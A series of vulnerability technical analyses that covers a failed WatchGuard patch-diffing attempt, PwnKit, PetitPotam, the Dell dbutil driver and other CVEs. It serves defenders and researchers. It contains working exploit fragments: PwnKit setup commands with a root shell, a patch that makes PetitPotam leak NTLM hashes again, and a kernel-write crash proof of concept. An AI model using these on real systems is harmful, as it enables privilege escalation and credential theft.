Patching is not always an option. Being able to mitigate an attack using a firewall is sometimes the only solution. Being able to use network signatures to block exploitation attempts, while not ideal, is sometimes all a defender has. So when NSCS UK only publishes YARA rules (which is useless on a system that blocks access to the filesystem), CISA publishes no mitigation guidance, and WatchGuard only publishes a log parser, defenders are left in a tough spot when attempting to understand their exposure and mitigation options.

Thankfully GreyNoise shared some information. But there are still questions. Is port 4117 the only affected port? Or is the default administrative webui affected as well (hint: I think it is)? Is /agent/login the only vulnerable URI (hint: it isn’t). But there is no official information either way, so who knows.

I figured I could get the answers myself. I could quickly diff the changes between XTMv 12.1.3u7 and 12.1.3u8 and bingo bango you got an exploit. Dear reader. I’ve failed you. I looked at the diffs and I haven’t the faintest idea what this vulnerability is. So what is this write up? Well, just because I failed doesn’t mean you will. I’m going to lay out what I saw and maybe you will have better luck than me.

Getting Started

To start, we need binaries to diff. I snagged the XTMv VMWare Operating System Files here. The most current version, at the time of writing, is 12.1.3 Update 8, which is the first patched version. You can download the last unpatched version, 12.1.3 Update 7, by slightly tweaking the URL for 12.1.3 Update 8.

Once you have the XTMv ova file, go ahead and import it and install it. You don’t need any type of license or key to get a base installation going. From there, snag the underlying .vmdk file and extract the file system using 7zip (e.g. 7z x ./xtmv_12_1_3_U8-disk1.vmdk). You should then get a handful of mountable .img files that contain the XTMv system.

What Now?

Having the entire filesystem is nice. But where do we start? GreyNoise’s writeup says they were seeing the vulnerability being exploited over the HTTP endpoint /agent/login on port 4117. Well, hunting in the filesystem we can find the nginx configuration for the port 4117 server:

albinolobster@ubuntu:/media/albinolobster/5d0ede31-24e7-49b6-b114-abed98c4830f$ cat ./etc/nginx/http-server-wgagent
server {
    listen              4117 ssl;
    listen              [::]:4117 ssl;

    include             fastcgi_params;
    fastcgi_param       SCRIPT_NAME     $fastcgi_script_name;
    fastcgi_param       SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param       WG_SSL_SERVER_CERT /var/run/nginx/server.pem;
    fastcgi_request_buffering off;

    if ($request_method !~ ^(GET|HEAD|POST)$) { return 444; }

    location /agent/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
        # /agent/file_action can take a while, e.g. backup
        fastcgi_read_timeout    10m;
    }
    location /login {   # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
    location /logout {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
    location /ping {    # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
    location /cluster/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
}

This points to the wgagent binary being the binary of interest. It can be found in /usr/bin/.

What Should the Exploit Look Like?

Based on my understanding of GreyNoise’s writeup and the logic contained in wgagent the exploit occurs during authentication. Therefore the exploit is likely to look like a variation on a valid login request like the following:

import requests
import zlib
import binascii
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


url = 'https://10.0.0.11:4117/agent/login'
login_data = b'<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>readwrite</string></value></member><member><name>user</name><value><string>admin</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>'

extra_headers = { 'Content-Encoding': 'gzip' }
comp = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
compressed_login_data = b'\x1f\x8b\x08\x07\x41\x41\x41\x41\x41\x41' 
compressed_login_data += comp.compress(login_data)
compressed_login_data += comp.flush()

print('Uncompressed data length: %u' % len(login_data))
print('Compressed data length: %u' % len(compressed_login_data))

x = requests.post(url, data = compressed_login_data, headers = extra_headers, verify=False)

print(x.status_code)
print(x.text)

There are a couple of interesting tidbits about this though:

  1. Compression isn’t required for a login request. wgagent only tries to remove the compression if Content-Encoding: gzip is included (shocking, I know). But GreyNoise noted that the exploits they saw in the wild uses compression… So maybe that’s required for exploitation? Maybe not, who knows!
  2. This request also works on the default administrative webui port (8080). Which implies, to me, that 4117 is not the only vulnerable endpoint. Considering that the default webui is far more likely to be exposed to the internet, it’s a pretty important thing to keep in mind. E.g. You aren’t safe just because you blocked port 4117. Maybe you need to block 8080 as well. Who knows though! (Probably CISA and WatchGuard).

Regardless, the above code hits, at least, part of the desired code path. So now we need to hunt for the vulnerable code. Hopefully aided by binary diffing!

Ch-Ch-Ch-Ch-Changes

There are a large number of differences between 12.1.3u7 and 12.1.3u8. Unfortunately (or fortunately), WatchGuard fixed five other CVEs and a number of other issues with the update 8 release. Looking at the changes, I had a very hard time determining if some of them were because “Well, we’re in here so might as well tweak this” or actually related to a vulnerability.

Unfortunately, I don’t currently have access to diaphora. This task probably would have been easier with it, but radiff2 + Ghidra is tolerable. The problem is, I couldn’t pinpoint any one thing that looked obviously exploitable… or even “maybe this is exploitable”. The changes seemed to fit into two categories:

Perplexing. Why was this here in the first place? Why did WatchGuard remove it now? A great example, mentioned below, is the !ENTITY logic.
Unnecessary. Why did zlib get updated? Why was password hashing standardized?

The “scary” part is both categories just show my ignorance and, worse, lack of imagination. About 90% of my vulnerability analysis skill is a weird mix of intuition+experience. And, for whatever reason, this diff has me feeling like Gandalf in Moria.

So, I can’t provide useful context to any of this, but I can point out a couple of changes that occurred along the likely exploitation path. Maybe that will spark something in someone else’s brain.

Removal of !ENTITY logic

In the following screenshot you’ll see the unpatched version of wgagent previously search for the string “!ENTITY” in the HTTP POST payload. If found, it walks backwards through the HTTP payload updating the contents to use the local locale for… reasons. Note that this is done before decompression. Odd. But not obviously exploitable (to me).

entity

Update of zlib

WatchGuard XTMv was using a fairly old version of zlib to inflate the compressed HTTP payload. The zlib version being used in the unpatched version, 1.2.8, just so happens to be the same version analyzed by Trail of Bits and TrustInSoft for Mozilla back in 2016. The findings were very theoretical as far as actual exploitation goes, and, to my knowledge, zlib hasn’t had any CVE since that report.

But WatchGuard upgraded to zlib 1.2.11 with this update. Did they need to do that in order to fix this vulnerability? I doubt it. But worth noting.

zlib

Add “struct” to the state machine

wgagent uses libxml2 to parse the XML payload. But it does so, in part, by using the push parser which allows them to do some custom and stateful parsing. I very much assume the vulnerability lies in one of these functions. But the only major change was the addition of extraction and cleanup of the “<struct></struct>” tags (cleanup not pictured, and see the payload above to see how <struct> is used).

struct

I cannot actually link this logic to anything useful. The only notable thing is that the XML payload now must have the struct tags, whereas before it was optional. Meaning, in 12.1.3u7 a request without the struct tags is accepted, but in 12.1.3u8 the request is rejected. But, again, I can’t link the added logic to any vulnerability or faulty logic… but this addition does suggest something?. Probably.

Update to standardize password hashing

After the XML parsing, the contents are obviously used for something. In this case, authentication. One change in the authentication world was the change highlighted below. FUN_004153e2 previously converted the provided user’s password into a UTF-16 representation and then MD4 hashed it. This function was deprecated in favor of a new and slightly different version of this functionality in libwgcrypto.so.

hash

Once again, I don’t see anything obviously wrong in FUN_004153e2. Certainly, it makes sense to use a standard implementation in a single library but why make the change in this update?

There are a slew of other changes, but mostly they are related to the memory corruption issues in the upgrade process (I believe). And of course, I was only looking at wgagent and associated libraries. The reality is that the vulnerability could exist elsewhere. But if you are going down this journey yourself, maybe it will help.

Final Thoughts

One thing that should be pointed out about the Cyclops Blink malware, is that the NCSC UK write up only seems to address a PowerPC variant. However, the virtualized version that I tested (XTMv) is x86 based. Does that mean NCSC UK thinks only PowerPC versions of WatchGuard appliances are affected? Or maybe Sandworm only cared about PowerPC? Or NCSC UK only saw PowerPC versions in the wild? It’s these types of questions that a well thought out report would have addressed.

Finally, as I mentioned in a Twitter thread with @wvuuuuuuuuuuuuu and @_darrenmartyn, the GreyNoise observed exploit is sort of mystifying. Why would an attacker that had achieved RCE on a system exfiltrate an entire configuration file? Especially, when the exfiltrated file isn’t the one with usernames and password hashes? Exfiltration via TFTP is just an odd choice. And I’m not sure what to make of the exploit name (test.py). All of that would suggest an unsophisticated attacker to me… but then they’re using a vulnerability I can’t figure out. So who’s the unsophisticated one?

2
Ratings
Technical Analysis

CVE-2021-1585 is an unpatched vulnerability that allows a man-in-the-middle or evil endpoint execute code on the victim’s system. See the Rapid7 analysis for additional details.

4
Ratings
Technical Analysis

Overview

CVE-2021-4034 is a local privilege escalation vulnerability affecting the pkexec utility commonly found on Linux distributions. The vulnerability was discovered by Qualys and given the nickname of pwnkit. The vulnerability was disclosed on January 25, 2022.

Exploitation of the vulnerability allows a low privileged user to escalate to root. While there are many such vulnerabilities published every year, this one is especially interesting because exploitation is trivial, the utility is ubiquitous, and the vulnerability has reportedly existed in the software all the way back to 2009.

This is an excellent finding and a useful exploit. However, as a general reminder, an attacker that has sufficient access to exploit this vulnerability is an attacker already in your system. Remediating this issue should be on your TODO list, but things aren’t on fire here.

Exploitation

There are a number of proof of concept exploits floating around. I like arthepsy’s best, because it’s self-contained and concise. These are the two most critical lines:

char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);

The vulnerability is the result of how pkexec handles a NULL argument array. Above, you can see that pkexec is invoked with that exact condition. The argv[] parameter is set to NULL when calling execve. As described in Qualys’ excellent writeup, an arbitrary environment valuable can be added into pkexec’s environment if execve’s env[0]exists in the directory within the the PATH variable in env[1].

For the exploit to work in the execve above, pwnkit must exist in ./GCONV_PATH=./. Looking at the proof of concept, you can see this is configured on the very first line via a system call:

system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");

Note that, GCONV_PATH is not the only environment variable that could be used here, but it’s the one outlined in Qualy’s writeup and works quite well. GCONV_PATH specific exploitation requires an the attacker also define a CHARSET variable. The CHARSET value can be whatever, but the attacker must make an env[0] directory that contains a gconv-modules file pointing to env[0] (which will be found via PATH). For example, the exploit we are referencing uses CHARSET=PWNKIT so it has to create this file structure:

system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");

If the proof of concept used CHARSET=cheesedoodle then it would have to do this:

system("mkdir -p pwnkit; echo 'module UTF-8// cheesedoodle// pwnkit 2' > pwnkit/gconv-modules");

Note that the “cheesedoodle// pwnkit” describes the defined CHARSET and the implementing shared object. If the shared object was /tmp/pwnkit.so then this would be “cheesedoodle// /tmp/pwnkit”.

The only thing left to do is to create the shared object that pkexec will load when it attempts to print. The reference proof of concept simply writes some C code to a file and then shells out to gcc to compile it.

system("gcc pwnkit/pwnkit.c -o /tmp/pwnkit.so -shared -fPIC");

Which is fine. Not all systems will have gcc installed, but good enough. The only major thing that I need to point out about the C code is that it needs to setuid(0)/ setgid(0), otherwise it’ll be executing as the normal user.

Finally, the proof of concept also has a SHELL environment value set, but that can be set to anything invalid. For example, SHELL=a works fine. Otherwise the PoC works as advertised:

albinolobster@ubuntu:~/pwnkit$ gcc -o poc poc.c
albinolobster@ubuntu:~/pwnkit$ ./poc 
# uname -a
Linux ubuntu 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
# whoami
root

Other notes

There has been discussion that exploits should set the GIO_USE_VFS environment variable within their exploit. I haven’t run into this myself (nor tested it), but GitHub user v-rzh explains here. The basic summary is that for some versions of pkexec the environment array will get reallocated before the attacker can write into it unless the following has been set.

setenv ("GIO_USE_VFS", "local", 1);

Useful Links

2
Ratings
Technical Analysis

Recently, I was attempting to combine James Forshaw’s remote EFSRPC file write “bug” with a local privilege escalation that I’d discovered. I was getting strange results. Working on one system, but not another at the same patch level. I’d seriously polluted that environment with Windows Endpoint Manager, so I decided to spin up a fresh AD environment in hopes of establishing a trustworthy baseline.

Once I’d stood up the new AD environment, and patched everything completely (through January 2022), I retested my proof of concept and was… unhappy and more than a bit confused with the result. Seeking additional feedback, I grabbed PetitPotam off the shelf since it’s a simpler attack. But that didn’t work either! That’s when I found the following in the event log.

EFS Error

Which lead me to KB5009763: EFS security hardening changes in CVE-2021-43217. CVE-2021-43217 is a buffer overflow affecting EFS, but it isn’t related to what I was attempting to do. Regardless, the way Microsoft decided to address this CVE was to require EFSRPC clients to use packet-level privacy, and, at the time of testing, the PetitPotam proof of concept didn’t.

We can further prove that out by creating the registry key mentioned by the KB to disable this behavior: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS\AllowAllCliAuth. Setting this key to ‘1’ allows PetitPotam to successfully leak the NTLM hash, but it also leaves this log message:

EFS Error

Great! PetitPotam still works, but this registry key is unlikely to be enabled in the wild. It doesn’t even exist by default!

The obvious solution is just to enable privacy level authentication in PetitPotam. That happens to be quite trivial. Just use the RpcBindingSetAuthInfo function after the binding handle has been created. The following is a patch I added to my local PetitPotam to test enabling privacy level authentication.

albinolobster@ubuntu:~/PetitPotam$ cat diff 
diff --git a/PetitPotam/PetitPotam.cpp b/PetitPotam/PetitPotam.cpp
index 1885eb2..debbd1e 100644
--- a/PetitPotam/PetitPotam.cpp
+++ b/PetitPotam/PetitPotam.cpp
@@ -1,6 +1,7 @@
 // PetitPotam.cpp : Ce fichier contient la fonction 'main'. L'exécution du programme commence et se termine à cet endroit.
 // Author: GILLES Lionel aka topotam (@topotam77)
 
+#include <string>
 #include <stdio.h>
 #include <tchar.h>
 #include <assert.h>
@@ -60,6 +61,18 @@ handle_t Bind(wchar_t* target)
 		wprintf(L"Error in RpcBindingFromStringBindingW\n");
 		return(0);
 	}
+
+	std::wstring spn(L"HOST/");
+	spn.append(target);
+
+	RpcStatus = RpcBindingSetAuthInfoW(BindingHandle, reinterpret_cast<RPC_WSTR>(&spn[0]), RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+		RPC_C_AUTHN_GSS_NEGOTIATE, nullptr, RPC_C_AUTHZ_NONE);
+	if (RpcStatus != 0)
+	{
+		wprintf(L"Error in RpcBindingFromStringBindingW\n");
+		return(0);
+	}
+
 	
 	RpcStringFreeW(&StringBinding);

Note the use of RPC_C_AUTHN_LEVEL_PKT_PRIVACY for the AuthnLevel. This small change is all that is needed to make PetitPotam work again.

Because I experienced a weird update in one of my AD environments, I figured a video demonstrating all of the above would be useful. You can find the video on here.

4
Ratings
Technical Analysis

CVE-2021-34481 was the result of two features intended to make the standard (non-administrative) Windows user’s life easier:

  1. Adding a remote printer did not require administrative access. Just point your computer at the remote printer and print.
  2. Adding a printer whose drivers were in the driver store did not require administrative access.

These two mechanisms combined allowed a low privileged Windows user to add arbitrary signed drivers to the driver store and then install them at will. A low privileged user could install a vulnerable print driver and exploit it to achieve SYSTEM privileges. In the DEF CON 29 talk Bring Your Own Vulnerable Print Driver, the example vulnerable drivers were Lexmark Universal Print Driver (CVE-2021-35449) , Canon TR150 Print Driver (CVE-2021-38085), and Ricoh PCL6 Print Driver (CVE-2019-19363).

Microsoft patched this issue by, essentially, removing the ability for a low privileged user to easily install a remote printer.

An exploit with some additional details was posted on GitHub.

2
Ratings
Technical Analysis

This authenticated and remote command injection allows a remote attacker to execute code as root. Authentication is the only serious hurdle to exploiting this issue, and it should be noted that SMA 100 series use default credentials for the admin user. For full details see the Rapid7 analysis.

1
Ratings
Technical Analysis

This unauthenticated and remote stack-based buffer overflow allows an attacker to execute code on the remote SMA 100 series target. Exploitation can be a challenge though. For additional details, see the Rapid7 analysis.

1
Ratings
Technical Analysis

The variant of CVE-2021-41379 that was released as a zero-day exploit is a local privilege escalation issue that is the result of a few issues with msiexec.exe. See the Rapid7 analysis for more details.

2
Ratings
Technical Analysis

CVE-2021-42237 is a .NET serialization vulnerability affecting Sitecore XP 7.5 – 8.2. Rapid7, and others, have observed this vulnerability being exploited in the wild by opportunistic attackers. Vulnerable internet facing Sitecore XP installations are at high risk of exploitation. See the Rapid7 analysis for full details.

2
Ratings
Technical Analysis

CVE-2021-22205 was originally disclosed as an authenticated vulnerability. However, deeper inspection shows that the vulnerability can be exploited without authentication and is trivial to weaponize. For full analysis see the Rapid7 Analysis.

3
Ratings
Technical Analysis

Description

On May 4, 2021, Dell released Dell Security Advisory 2021-088 which describes a privilege escalation vulnerability in their dbutil_2_3.sys driver. The vulnerability is assigned CVE-2021-21551 and NIST assigned it a CVSSv3 score of 7.8. The vulnerable driver is utilized during the firmware update process and is therefore widely deployed across Dell products. Please see the advisory for the full list of impacted products.

The vulnerability is the result of a write-what-where condition (CWE-123) in which a low privileged user can direct the driver to write attacker controlled data to an arbitrary memory address via an ioctl call. This allows the low privileged user to escalate permissions to SYSTEM by overwriting data structures in kernel memory. Arbitrary modification of kernel memory is also useful to an attacker with SYSTEM privileges to bypass or disable security features that are not otherwise accessible. As such, the vulnerable driver could reasonably be used in Bring Your Own Vulnerable Driver (BYOVD) attacks in the wild.

A variety of public exploits, including a Metasploit module, have been published for this vulnerability. The vulnerability has also been reportedly used in the wild.

Affected products

The following products are affected. Please see DSA-2021-088 Table A for an extensive list of affected platforms and versions.

  • Firmware update utility packages, including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware update utilities and dock firmware update utilities.
  • All Dell Download Notification solutions. Dell Command Update, Dell Update, Alienware Update, and Dell SupportAssist for PCs.
  • Dell System Inventory Agent
  • Dell Platform Tags
  • Dell BIOS Flash Utility

Root Cause Analysis

The vulnerability can be recreated using this minimized proof of concept:

#include <cstdlib>
#include <iostream>
#include <Windows.h>

namespace
{
    const std::string s_driverHandle("\\\\.\\DBUtil_2_3");

    uint32_t s_write_ioctl = 0x9b0c1ec8;

    struct exploit_struct
    {
        uint64_t unused0;
        void* write_ptr;
        uint64_t unused1;
        uint64_t write_data;
    };
}

int main(int p_argc, char** p_argv)
{
    HANDLE driverHandle = CreateFileA(s_driverHandle.c_str(), GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    if (INVALID_HANDLE_VALUE == driverHandle)
    {
        std::wcerr << "[!] Failed to get a handle to " << s_driverHandle.c_str() << std::endl;
        return EXIT_FAILURE;
    }

    exploit_struct crash = { 0, (void*)0x4141414141414141, 0, 0 };
    char outBuf[32] = { 0 };
    DWORD bytesReturned = 0;
    DeviceIoControl(driverHandle, s_write_ioctl, &crash, sizeof(exploit_struct), &outBuf, sizeof(outBuf), &bytesReturned, 0);
    return EXIT_FAILURE;
}

In the above proof of concept, we open a handle to \\.\DBUtil_2_3 and issue ioctl control code 0x9b0c1ec8. With the ioctl code we also provide a 32-byte struct containing the exploit logic. Exploitation is possible because some of the struct’s members are passed directly into a memmove. As a reminder, memmove is defined as:

void *memmove(void *dest, const void *src, size_t n);

The address stored in the struct’s write_ptr will be used as the dest parameter in the vulnerable memmove and a pointer to the write_data member will be used as the src parameter. That means that the contents of write_data will be written to the address pointed to by write_ptr.

ghidra_memcpy

The above screenshot shows the affected function and memmove call. Note that Ghidra identifies the function as a memcpy but, for our purposes, the distinction doesn’t matter much.

The proof of concept above will attempt to write 8 bytes of 0 to the address 0x4141414141414141. Analysis of the resulting crash below shows the attempted write of 0 to 0x4141414141414141:

CONTEXT:  ffffb30c576add00 -- (.cxr 0xffffb30c576add00)
rax=0000000000000000 rbx=ffffa20f0749bec0 rcx=4141414141414141
rdx=bebe60cdc7729697 rsi=0000000000000001 rdi=ffffa20f0749bec0
rip=fffff8047c5d17b2 rsp=ffffb30c576ae708 rbp=ffffa20f07ec2b10
 r8=0000000000000007  r9=ffffa20f08b3d7c0 r10=fffff8047c5d1170
r11=4141414141414141 r12=0000000000000000 r13=0000000000000000
r14=ffffa20f09c0f7f0 r15=ffffa20f0749bd70
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050202
DBUtil_2_3+0x17b2:
fffff804`7c5d17b2 8801            mov     byte ptr [rcx],al ds:002b:41414141`41414141=??
Resetting default scope

PROCESS_NAME:  crasher.exe

Exploits

The various public exploits for this vulnerability have taken a few approaches to exploitation. @waldoirc’s exploit grants the attacker SeImpersonatePrivilege and then impersonates SYSTEM via a named pipe to escalate privileges. @Void_Sec and @zeroSteiner both wrote exploits that modified the process token for privilege escalation. And @33y0re went the extra mile and achieved privilege escalation via page table corruption.

While all of the previously mentioned exploits are for low privileged users to escalate to SYSTEM, it also appears likely that this vulnerability is being used in BYOVD attacks. The following VirusTotal screenshot shows the coin-miner TJprojMain has been observed to drop dbutil_2_3.sys to disk.

BYOVD

Patch

Dell didn’t truly patch this issue. Their mitigation involved deleting dbutil_2_3.sys and switching to a driver named DBUtilDrv2.sys, a driver that has existed since at least 2019. While the two drivers share some code, there is a notable difference in structure. Perhaps most importantly though, DBUtilDrv2.sys is not accessible to localhost\Everyone like dbutil_2_3.sys is.

Processed 1 device objects.
0: kd> !devobj ffffd9884bb95670
Device object (ffffd9884bb95670) is for:
 DBUtil_2_5 \Driver\DBUtilDrv2 DriverObject ffffd9884bba3800
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00002044
SecurityDescriptor ffffc90b6d294ba0 DevExt ffffd9884bb95560 DevObjExt ffffd9884bb957e8
ExtensionFlags (0000000000)  
Characteristics (0x00000100)  FILE_DEVICE_SECURE_OPEN
AttachedTo (Lower) ffffd9884b359730 \Driver\PnpManager
Device queue is not busy.
0: kd> !sd ffffc90b6d294ba0 0x1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x9814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_DACL_PROTECTED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x58
->Dacl    : ->AceCount   : 0x3
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001f01ff
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x001f01ff
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x24
->Dacl    : ->Ace[2]: ->Mask : 0x001f01ff
->Dacl    : ->Ace[2]: ->SID: S-1-5-21-3819158199-2843755626-3941670155-500 (User: AlbinoLobsterDev\Administrator)

Unfortunately, amongst the shared code is the vulnerable ioctl and memmove. The proof of concept crashing exploit that is presented at the beginning of this post can trigger a BSOD against DBUtilDrv2.sys versions 2.5 and 2.6 with minimal tweaking. Which likely means an attacker with administrative privileges could also use DBUtilDrv2.sys in a BYOVD style attacks to gain Ring0 access.

Dell addressed issues with DBUtilDrv2.sys in August 2021 and assigned CVE-2021-36276. See DSA-2021-152 for additional details.

BSOD

Guidance

Dell has a fairly extensive mitigations and update guide in DSA-2021-088. But there are a few simple ways to determine if your systems may be vulnerable. You can look for dbutil_2_3.sys in C:\Windows\Temp or %APPDATA%\Temp. You can also look for a running instance by querying service control with the following command: sc.exe query DBUtil_2_3. Example output follows:

C:\Windows\system32>sc.exe query DBUtil_2_3

SERVICE_NAME: DBUtil_2_3
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Citations

3
Ratings
Technical Analysis

Beyond denial of service purposes, CVE-2021-20034 has limited attacker value due to the inability of the attacker to easily reboot the system post-exploitation. While the vulnerability could see use by destructive attackers, it’s unlikely to be used in any type of widespread campaign like previous SonicWall vulnerabilities. See the Rapid7 analysis for full details.